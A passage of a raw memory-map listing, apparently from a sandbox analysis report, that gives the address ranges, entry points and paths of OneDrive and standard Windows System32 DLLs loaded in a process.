0x7ffd41f301d8 region_type = mapped_file name = "filesyncshell64.dll" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\OneDrive\\17.3.5892.0626_4\\amd64\\FileSyncShell64.dll" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\onedrive\\17.3.5892.0626_4\\amd64\\filesyncshell64.dll") Region: id = 660 start_va = 0x7ffd420b0000 end_va = 0x7ffd420d5fff monitored = 0 entry_point = 0x7ffd420c5cb0 region_type = mapped_file name = "npsm.dll" filename = "\\Windows\\System32\\NPSM.dll" (normalized: "c:\\windows\\system32\\npsm.dll") Region: id = 661 start_va = 0x7ffd420e0000 end_va = 0x7ffd4210afff monitored = 0 entry_point = 0x7ffd420e4240 region_type = mapped_file name = "abovelockapphost.dll" filename = "\\Windows\\System32\\AboveLockAppHost.dll" (normalized: "c:\\windows\\system32\\abovelockapphost.dll") Region: id = 662 start_va = 0x7ffd42110000 end_va = 0x7ffd4211cfff monitored = 0 entry_point = 0x7ffd42111ea0 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 663 start_va = 0x7ffd42120000 end_va = 0x7ffd4216cfff monitored = 0 entry_point = 0x7ffd42137de0 region_type = mapped_file name = "thumbcache.dll" filename = "\\Windows\\System32\\thumbcache.dll" (normalized: "c:\\windows\\system32\\thumbcache.dll") Region: id = 664 start_va = 0x7ffd42170000 end_va = 0x7ffd421f5fff monitored = 0 entry_point = 0x7ffd42191e10 region_type = mapped_file name = "notificationcontroller.dll" filename = "\\Windows\\System32\\NotificationController.dll" (normalized: "c:\\windows\\system32\\notificationcontroller.dll") Region: id = 665 start_va = 0x7ffd42200000 end_va = 0x7ffd422d9fff monitored = 0 entry_point = 0x7ffd42233c00 region_type = mapped_file name = "wpncore.dll" filename = "\\Windows\\System32\\wpncore.dll" (normalized: "c:\\windows\\system32\\wpncore.dll") Region: id = 666 start_va = 0x7ffd422e0000 end_va = 0x7ffd422f1fff monitored = 0 entry_point = 0x7ffd422e3580 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 667 start_va = 0x7ffd42300000 end_va = 0x7ffd4241ffff monitored = 0 entry_point = 0x7ffd42338310 region_type = mapped_file name = "applicationframe.dll" filename = "\\Windows\\System32\\ApplicationFrame.dll" (normalized: "c:\\windows\\system32\\applicationframe.dll") Region: id = 668 start_va = 0x7ffd42420000 end_va = 0x7ffd42445fff monitored = 0 entry_point = 0x7ffd42421cf0 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 669 start_va = 0x7ffd42450000 end_va = 0x7ffd4252afff monitored = 0 entry_point = 0x7ffd424628b0 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 670 start_va = 0x7ffd42530000 end_va = 0x7ffd425c3fff monitored = 0 entry_point = 0x7ffd42569210 region_type = mapped_file name = "staterepository.core.dll" filename = "\\Windows\\System32\\StateRepository.Core.dll" (normalized: "c:\\windows\\system32\\staterepository.core.dll") Region: id = 671 start_va = 0x7ffd425d0000 end_va = 0x7ffd42872fff monitored = 0 entry_point = 0x7ffd425f6190 region_type = mapped_file name = "windows.staterepository.dll" filename = "\\Windows\\System32\\Windows.StateRepository.dll" (normalized: "c:\\windows\\system32\\windows.staterepository.dll") Region: id = 672 start_va = 0x7ffd42880000 end_va = 0x7ffd4288bfff monitored = 0 entry_point = 0x7ffd428818b0 region_type = mapped_file name = "wldp.dll" filename = "\\Windows\\System32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll") Region: id = 673 start_va = 0x7ffd42890000 end_va = 0x7ffd428dcfff monitored = 0 entry_point = 0x7ffd4289d180 region_type = mapped_file name = "windows.immersiveshell.serviceprovider.dll" filename = "\\Windows\\System32\\windows.immersiveshell.serviceprovider.dll" (normalized: "c:\\windows\\system32\\windows.immersiveshell.serviceprovider.dll") Region: id = 674 start_va = 0x7ffd428e0000 end_va = 0x7ffd433eafff monitored = 0 entry_point = 0x7ffd42a2a540 region_type = mapped_file name = "twinui.dll" filename = "\\Windows\\System32\\twinui.dll" (normalized: "c:\\windows\\system32\\twinui.dll") Region: id = 675 start_va = 0x7ffd433f0000 end_va = 0x7ffd4343ffff monitored = 0 entry_point = 0x7ffd433f2580 region_type = mapped_file name = "edputil.dll" filename = "\\Windows\\System32\\edputil.dll" (normalized: "c:\\windows\\system32\\edputil.dll") Region: id = 676 start_va = 0x7ffd43440000 end_va = 0x7ffd438dffff monitored = 0 entry_point = 0x7ffd434d8740 region_type = mapped_file name = "explorerframe.dll" filename = "\\Windows\\System32\\ExplorerFrame.dll" (normalized: "c:\\windows\\system32\\explorerframe.dll") Region: id = 677 start_va = 0x7ffd43a50000 end_va = 0x7ffd43a99fff monitored = 0 entry_point = 0x7ffd43a55800 region_type = mapped_file name = "dataexchange.dll" filename = "\\Windows\\System32\\DataExchange.dll" (normalized: "c:\\windows\\system32\\dataexchange.dll") Region: id = 678 start_va = 0x7ffd43ac0000 end_va = 0x7ffd43b29fff monitored = 0 entry_point = 0x7ffd43ad5e90 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 679 start_va = 0x7ffd43b30000 end_va = 0x7ffd43b94fff monitored = 0 entry_point = 0x7ffd43b34c50 region_type = mapped_file name = "sndvolsso.dll" filename = "\\Windows\\System32\\SndVolSSO.dll" (normalized: "c:\\windows\\system32\\sndvolsso.dll") Region: id = 680 start_va = 0x7ffd43ba0000 end_va = 0x7ffd43e13fff monitored = 0 entry_point = 0x7ffd43c10400 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll") Region: id = 681 start_va = 0x7ffd43e20000 end_va = 0x7ffd43eedfff monitored = 0 entry_point = 0x7ffd43e514c0 region_type = mapped_file name = "tokenbroker.dll" filename = "\\Windows\\System32\\TokenBroker.dll" (normalized: "c:\\windows\\system32\\tokenbroker.dll") Region: id = 682 start_va = 0x7ffd43ef0000 end_va = 0x7ffd43fe8fff monitored = 0 entry_point = 0x7ffd43f38000 region_type = mapped_file name = "settingsynccore.dll" filename = "\\Windows\\System32\\SettingSyncCore.dll" (normalized: "c:\\windows\\system32\\settingsynccore.dll") Region: id = 683 start_va = 0x7ffd43ff0000 end_va = 0x7ffd44004fff monitored = 0 entry_point = 0x7ffd43ff2c90 region_type = mapped_file name = "settingsyncpolicy.dll" filename = "\\Windows\\System32\\SettingSyncPolicy.dll" (normalized: "c:\\windows\\system32\\settingsyncpolicy.dll") Region: id = 684 start_va = 0x7ffd44010000 end_va = 0x7ffd440c0fff monitored = 0 entry_point = 0x7ffd440208f0 region_type = mapped_file name = "twinapi.dll" filename = "\\Windows\\System32\\twinapi.dll" (normalized: "c:\\windows\\system32\\twinapi.dll") Region: id = 685 start_va = 0x7ffd440e0000 end_va = 0x7ffd440f4fff monitored = 0 entry_point = 0x7ffd440e1ab0 region_type = mapped_file name = "execmodelproxy.dll" filename = "\\Windows\\System32\\execmodelproxy.dll" (normalized: "c:\\windows\\system32\\execmodelproxy.dll") Region: id = 686 start_va = 0x7ffd44130000 end_va = 0x7ffd4438cfff monitored = 0 entry_point = 0x7ffd441b8610 region_type = mapped_file name = "twinui.appcore.dll" filename = "\\Windows\\System32\\twinui.appcore.dll" (normalized: "c:\\windows\\system32\\twinui.appcore.dll") Region: id = 687 start_va = 0x7ffd44390000 end_va = 0x7ffd44398fff monitored = 0 entry_point = 0x7ffd44391480 region_type = mapped_file name = "wpportinglibrary.dll" filename = "\\Windows\\System32\\WpPortingLibrary.dll" (normalized: "c:\\windows\\system32\\wpportinglibrary.dll") Region: id = 688 start_va = 0x7ffd44670000 end_va = 0x7ffd446bafff monitored = 0 entry_point = 0x7ffd44687b70 region_type = mapped_file name = "veeventdispatcher.dll" filename = "\\Windows\\System32\\VEEventDispatcher.dll" (normalized: "c:\\windows\\system32\\veeventdispatcher.dll") Region: id = 689 start_va = 0x7ffd44840000 end_va = 0x7ffd4485afff monitored = 0 entry_point = 0x7ffd44841040 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 690 start_va = 0x7ffd44860000 end_va = 0x7ffd44ae7fff monitored = 0 entry_point = 0x7ffd448bf670 region_type = mapped_file name = "coreuicomponents.dll" filename = "\\Windows\\System32\\CoreUIComponents.dll" (normalized: "c:\\windows\\system32\\coreuicomponents.dll") Region: id = 691 start_va = 0x7ffd44af0000 end_va = 0x7ffd44af9fff monitored = 0 entry_point = 0x7ffd44af14c0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 692 start_va = 0x7ffd44b00000 end_va = 0x7ffd44b0dfff monitored = 0 entry_point = 0x7ffd44b01460 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 693 start_va = 0x7ffd44b10000 end_va = 0x7ffd44b23fff monitored = 0 entry_point = 0x7ffd44b150c0 region_type = mapped_file name = "hcproviders.dll" filename = "\\Windows\\System32\\hcproviders.dll" (normalized: "c:\\windows\\system32\\hcproviders.dll") Region: id = 694 start_va = 0x7ffd44bf0000 end_va = 0x7ffd44c1afff monitored = 0 entry_point = 0x7ffd44bfc3c0 region_type = mapped_file name = "rtworkq.dll" filename = "\\Windows\\System32\\RTWorkQ.dll" (normalized: "c:\\windows\\system32\\rtworkq.dll") Region: id = 695 start_va = 0x7ffd44c20000 end_va = 0x7ffd44d2cfff monitored = 0 entry_point = 0x7ffd44c4f420 region_type = mapped_file name = "mfplat.dll" filename = "\\Windows\\System32\\mfplat.dll" (normalized: "c:\\windows\\system32\\mfplat.dll") Region: id = 696 start_va = 0x7ffd44db0000 end_va = 0x7ffd44e0efff monitored = 0 entry_point = 0x7ffd44ddbce0 region_type = mapped_file name = "dsreg.dll" filename = "\\Windows\\System32\\dsreg.dll" (normalized: "c:\\windows\\system32\\dsreg.dll") Region: id = 697 start_va = 0x7ffd45200000 end_va = 0x7ffd4529ffff monitored = 0 entry_point = 0x7ffd45270910 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 698 start_va = 0x7ffd455c0000 end_va = 0x7ffd4566dfff monitored = 0 entry_point = 0x7ffd455d80c0 region_type = mapped_file name = "windows.networking.connectivity.dll" filename = "\\Windows\\System32\\Windows.Networking.Connectivity.dll" (normalized: "c:\\windows\\system32\\windows.networking.connectivity.dll") Region: id = 699 start_va = 0x7ffd45750000 end_va = 0x7ffd4575afff monitored = 0 entry_point = 0x7ffd45751d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 700 start_va = 0x7ffd45800000 end_va = 0x7ffd4586cfff monitored = 0 entry_point = 0x7ffd4580d750 region_type = mapped_file name = "photometadatahandler.dll" filename = "\\Windows\\System32\\PhotoMetadataHandler.dll" (normalized: "c:\\windows\\system32\\photometadatahandler.dll") Region: id = 701 start_va = 0x7ffd458c0000 end_va = 0x7ffd45914fff monitored = 0 entry_point = 0x7ffd458c3fb0 region_type = mapped_file name = "policymanager.dll" filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll") Region: id = 702 start_va = 0x7ffd45a10000 end_va = 0x7ffd45a29fff monitored = 0 entry_point = 0x7ffd45a12430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 703 start_va = 0x7ffd45a30000 end_va = 0x7ffd45a45fff monitored = 0 entry_point = 0x7ffd45a319f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 704 start_va = 0x7ffd45aa0000 end_va = 0x7ffd45ae0fff monitored = 0 entry_point = 0x7ffd45aa4840 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 705 start_va = 0x7ffd45b30000 end_va = 0x7ffd45b57fff monitored = 0 entry_point = 0x7ffd45b38c10 region_type = mapped_file name = "idstore.dll" filename = "\\Windows\\System32\\IDStore.dll" (normalized: "c:\\windows\\system32\\idstore.dll") Region: id = 706 start_va = 0x7ffd45ca0000 end_va = 0x7ffd45e5ffff monitored = 0 entry_point = 0x7ffd45ca9e40 region_type = mapped_file name = "pnidui.dll" filename = "\\Windows\\System32\\pnidui.dll" (normalized: "c:\\windows\\system32\\pnidui.dll") Region: id = 707 start_va = 0x7ffd45f00000 end_va = 0x7ffd45f0bfff monitored = 0 entry_point = 0x7ffd45f01470 region_type = mapped_file name = "dsclient.dll" filename = "\\Windows\\System32\\dsclient.dll" (normalized: "c:\\windows\\system32\\dsclient.dll") Region: id = 708 start_va = 0x7ffd45fa0000 end_va = 0x7ffd45fd4fff monitored = 0 entry_point = 0x7ffd45fa3cc0 region_type = mapped_file name = "wscapi.dll" filename = "\\Windows\\System32\\wscapi.dll" (normalized: "c:\\windows\\system32\\wscapi.dll") Region: id = 709 start_va = 0x7ffd45fe0000 end_va = 0x7ffd46002fff monitored = 0 entry_point = 0x7ffd45fe99a0 region_type = mapped_file name = "networkstatus.dll" filename = "\\Windows\\System32\\NetworkStatus.dll" (normalized: "c:\\windows\\system32\\networkstatus.dll") Region: id = 710 start_va = 0x7ffd460b0000 end_va = 0x7ffd460e7fff monitored = 0 entry_point = 0x7ffd460c8cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 711 start_va = 0x7ffd46190000 end_va = 0x7ffd461a8fff monitored = 0 entry_point = 0x7ffd46194520 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 712 start_va = 0x7ffd46790000 end_va = 0x7ffd46830fff monitored = 0 entry_point = 0x7ffd46793db0 region_type = mapped_file name = "portabledeviceapi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll") Region: id = 713 start_va = 0x7ffd46860000 end_va = 0x7ffd468cffff monitored = 0 entry_point = 0x7ffd46882960 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 714 start_va = 0x7ffd46920000 end_va = 0x7ffd469e7fff monitored = 0 entry_point = 0x7ffd469613f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 715 start_va = 0x7ffd469f0000 end_va = 0x7ffd46a50fff monitored = 0 entry_point = 0x7ffd469f4b50 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 716 start_va = 0x7ffd46ec0000 end_va = 0x7ffd4707cfff monitored = 0 entry_point = 0x7ffd46eeaf90 region_type = mapped_file name = "windows.ui.immersive.dll" filename = "\\Windows\\System32\\Windows.UI.Immersive.dll" (normalized: "c:\\windows\\system32\\windows.ui.immersive.dll") Region: id = 717 start_va = 0x7ffd47080000 end_va = 0x7ffd47401fff monitored = 0 entry_point = 0x7ffd470d1220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 718 start_va = 0x7ffd47410000 end_va = 0x7ffd47545fff monitored = 0 entry_point = 0x7ffd4743f350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 719 start_va = 0x7ffd48590000 end_va = 0x7ffd48638fff monitored = 0 entry_point = 0x7ffd485b9010 region_type = mapped_file name = "windows.ui.dll" filename = "\\Windows\\System32\\Windows.UI.dll" (normalized: "c:\\windows\\system32\\windows.ui.dll") Region: id = 720 start_va = 0x7ffd48640000 end_va = 0x7ffd4874dfff monitored = 0 entry_point = 0x7ffd4868eaa0 region_type = mapped_file name = "mrmcorer.dll" filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll") Region: id = 721 start_va = 0x7ffd48750000 end_va = 0x7ffd487b9fff monitored = 0 entry_point = 0x7ffd48759d60 region_type = mapped_file name = "wincorlib.dll" filename = "\\Windows\\System32\\wincorlib.dll" (normalized: "c:\\windows\\system32\\wincorlib.dll") Region: id = 722 start_va = 0x7ffd487c0000 end_va = 0x7ffd48857fff monitored = 0 entry_point = 0x7ffd487e3980 region_type = mapped_file name = "duser.dll" filename = "\\Windows\\System32\\duser.dll" (normalized: "c:\\windows\\system32\\duser.dll") Region: id = 723 start_va = 0x7ffd48860000 end_va = 0x7ffd488fffff monitored = 0 entry_point = 0x7ffd488856b0 region_type = mapped_file name = "hgcpl.dll" filename = "\\Windows\\System32\\hgcpl.dll" (normalized: "c:\\windows\\system32\\hgcpl.dll") Region: id = 724 start_va = 0x7ffd48900000 end_va = 0x7ffd48981fff monitored = 0 entry_point = 0x7ffd48904ef0 region_type = mapped_file name = "imapi2.dll" filename = "\\Windows\\System32\\imapi2.dll" (normalized: "c:\\windows\\system32\\imapi2.dll") Region: id = 725 start_va = 0x7ffd48990000 end_va = 0x7ffd489ecfff monitored = 0 entry_point = 0x7ffd48996c90 region_type = mapped_file name = "srchadmin.dll" filename = "\\Windows\\System32\\srchadmin.dll" (normalized: "c:\\windows\\system32\\srchadmin.dll") Region: id = 726 start_va = 0x7ffd489f0000 end_va = 0x7ffd48a40fff monitored = 0 entry_point = 0x7ffd489f25e0 region_type = mapped_file name = "cscobj.dll" filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll") Region: id = 727 start_va = 0x7ffd48ac0000 end_va = 0x7ffd48adffff monitored = 0 entry_point = 0x7ffd48ac1920 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\System32\\davclnt.dll" (normalized: "c:\\windows\\system32\\davclnt.dll") Region: id = 728 start_va = 0x7ffd48ae0000 end_va = 0x7ffd48b0dfff monitored = 0 entry_point = 0x7ffd48ae6580 region_type = mapped_file name = "wscinterop.dll" filename = "\\Windows\\System32\\wscinterop.dll" (normalized: "c:\\windows\\system32\\wscinterop.dll") Region: id = 729 start_va = 0x7ffd48b80000 end_va = 0x7ffd48bf9fff monitored = 0 entry_point = 0x7ffd48ba7630 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 730 start_va = 0x7ffd48cb0000 end_va = 0x7ffd48cc5fff monitored = 0 entry_point = 0x7ffd48cb1b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 731 start_va = 0x7ffd48cd0000 end_va = 0x7ffd48d33fff monitored = 0 entry_point = 0x7ffd48ce5ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 732 start_va = 0x7ffd48d80000 end_va = 0x7ffd48e11fff monitored = 0 entry_point = 0x7ffd48dca780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 733 start_va = 0x7ffd49140000 end_va = 0x7ffd49150fff monitored = 0 entry_point = 0x7ffd49143320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 734 start_va = 0x7ffd493e0000 end_va = 0x7ffd49924fff monitored = 0 entry_point = 0x7ffd4957a450 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 735 start_va = 0x7ffd49930000 end_va = 0x7ffd49b9efff monitored = 0 entry_point = 0x7ffd499e22b0 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll") Region: id = 736 start_va = 0x7ffd49e00000 end_va = 0x7ffd49e4afff monitored = 0 entry_point = 0x7ffd49e172b0 region_type = mapped_file name = "uianimation.dll" filename = "\\Windows\\System32\\UIAnimation.dll" (normalized: "c:\\windows\\system32\\uianimation.dll") Region: id = 737 start_va = 0x7ffd49e50000 end_va = 0x7ffd4a000fff monitored = 0 entry_point = 0x7ffd49ee61a0 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 738 start_va = 0x7ffd4a010000 end_va = 0x7ffd4a0b1fff monitored = 0 entry_point = 0x7ffd4a030a40 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 739 start_va = 0x7ffd4a0c0000 end_va = 0x7ffd4a367fff monitored = 0 entry_point = 0x7ffd4a153250 region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll") Region: id = 740 start_va = 0x7ffd4a370000 end_va = 0x7ffd4a391fff monitored = 0 entry_point = 0x7ffd4a371a40 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 741 start_va = 0x7ffd4a3d0000 end_va = 0x7ffd4a48dfff monitored = 0 entry_point = 0x7ffd4a412d40 region_type = mapped_file name = "coremessaging.dll" filename = "\\Windows\\System32\\CoreMessaging.dll" (normalized: "c:\\windows\\system32\\coremessaging.dll") Region: id = 742 start_va = 0x7ffd4a490000 end_va = 0x7ffd4a572fff monitored = 0 entry_point = 0x7ffd4a4c7da0 region_type = mapped_file name = "dcomp.dll" filename = "\\Windows\\System32\\dcomp.dll" (normalized: "c:\\windows\\system32\\dcomp.dll") Region: id = 743 start_va = 0x7ffd4a880000 end_va = 0x7ffd4a8f8fff monitored = 0 entry_point = 0x7ffd4a89fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 744 start_va = 0x7ffd4a940000 end_va = 0x7ffd4aa05fff monitored = 0 entry_point = 0x7ffd4a943ac0 region_type = mapped_file name = "cscui.dll" filename = "\\Windows\\System32\\cscui.dll" (normalized: "c:\\windows\\system32\\cscui.dll") Region: id = 745 start_va = 0x7ffd4aa70000 end_va = 0x7ffd4aaaffff monitored = 0 entry_point = 0x7ffd4aa83750 region_type = mapped_file name = "settingmonitor.dll" filename = "\\Windows\\System32\\SettingMonitor.dll" (normalized: "c:\\windows\\system32\\settingmonitor.dll") Region: id = 746 start_va = 0x7ffd4aab0000 end_va = 0x7ffd4af42fff monitored = 0 entry_point = 0x7ffd4aabf760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 747 start_va = 0x7ffd4af50000 end_va = 0x7ffd4afb6fff monitored = 0 entry_point = 0x7ffd4af6e710 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll") Region: id = 748 start_va = 0x7ffd4afc0000 end_va = 0x7ffd4b00efff monitored = 0 entry_point = 0x7ffd4afc7ab0 region_type = mapped_file name = "inputswitch.dll" filename = "\\Windows\\System32\\InputSwitch.dll" (normalized: "c:\\windows\\system32\\inputswitch.dll") Region: id = 749 start_va = 0x7ffd4b010000 end_va = 0x7ffd4b195fff monitored = 0 entry_point = 0x7ffd4b05d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 750 start_va = 0x7ffd4b1a0000 end_va = 0x7ffd4b1bbfff monitored = 0 entry_point = 0x7ffd4b1a37a0 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 751 start_va = 0x7ffd4b1c0000 end_va = 0x7ffd4b1cbfff monitored = 0 entry_point = 0x7ffd4b1c1860 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\System32\\davhlpr.dll" (normalized: "c:\\windows\\system32\\davhlpr.dll") Region: id = 752 start_va = 0x7ffd4b1d0000 end_va = 0x7ffd4b1e5fff monitored = 0 entry_point = 0x7ffd4b1d3380 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\System32\\ntlanman.dll" (normalized: "c:\\windows\\system32\\ntlanman.dll") Region: id = 753 start_va = 0x7ffd4b1f0000 end_va = 0x7ffd4b1fafff monitored = 0 entry_point = 0x7ffd4b1f1a40 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\System32\\drprov.dll" (normalized: "c:\\windows\\system32\\drprov.dll") Region: id = 754 start_va = 0x7ffd4b200000 end_va = 0x7ffd4b212fff monitored = 0 entry_point = 0x7ffd4b202760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 755 start_va = 0x7ffd4b220000 end_va = 0x7ffd4b244fff monitored = 0 entry_point = 0x7ffd4b222300 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 756 start_va = 0x7ffd4b280000 end_va = 0x7ffd4b2a4fff monitored = 0 entry_point = 0x7ffd4b295220 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 757 start_va = 0x7ffd4b2d0000 end_va = 0x7ffd4b302fff monitored = 0 entry_point = 0x7ffd4b2d3800 region_type = mapped_file name = "portabledevicetypes.dll" filename = "\\Windows\\System32\\PortableDeviceTypes.dll" (normalized: "c:\\windows\\system32\\portabledevicetypes.dll") Region: id = 758 start_va = 0x7ffd4b310000 end_va = 0x7ffd4b324fff monitored = 0 entry_point = 0x7ffd4b312850 region_type = mapped_file name = "wpdshserviceobj.dll" filename = "\\Windows\\System32\\WPDShServiceObj.dll" (normalized: "c:\\windows\\system32\\wpdshserviceobj.dll") Region: id = 759 start_va = 0x7ffd4b330000 end_va = 0x7ffd4b36bfff monitored = 0 entry_point = 0x7ffd4b3325e0 region_type = mapped_file name = "bthprops.cpl" filename = "\\Windows\\System32\\bthprops.cpl" (normalized: "c:\\windows\\system32\\bthprops.cpl") Region: id = 760 start_va = 0x7ffd4b470000 end_va = 0x7ffd4b505fff monitored = 0 entry_point = 0x7ffd4b495570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 761 start_va = 0x7ffd4b530000 end_va = 0x7ffd4b556fff monitored = 0 entry_point = 0x7ffd4b537940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 762 start_va = 0x7ffd4b670000 end_va = 0x7ffd4b719fff monitored = 0 entry_point = 0x7ffd4b697910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 763 start_va = 0x7ffd4b720000 end_va = 0x7ffd4b81ffff monitored = 0 entry_point = 0x7ffd4b760f80 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 764 start_va = 0x7ffd4b8b0000 end_va = 0x7ffd4b8d9fff monitored = 0 entry_point = 0x7ffd4b8b8b90 region_type = mapped_file name = "rmclient.dll" filename = "\\Windows\\System32\\rmclient.dll" (normalized: "c:\\windows\\system32\\rmclient.dll") Region: id = 765 start_va = 0x7ffd4bc90000 end_va = 0x7ffd4bd83fff monitored = 0 entry_point = 0x7ffd4bc9a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 766 start_va = 0x7ffd4bf00000 end_va = 0x7ffd4bf0bfff monitored = 0 entry_point = 0x7ffd4bf027e0 region_type = mapped_file name = "netutils.dll" filename = 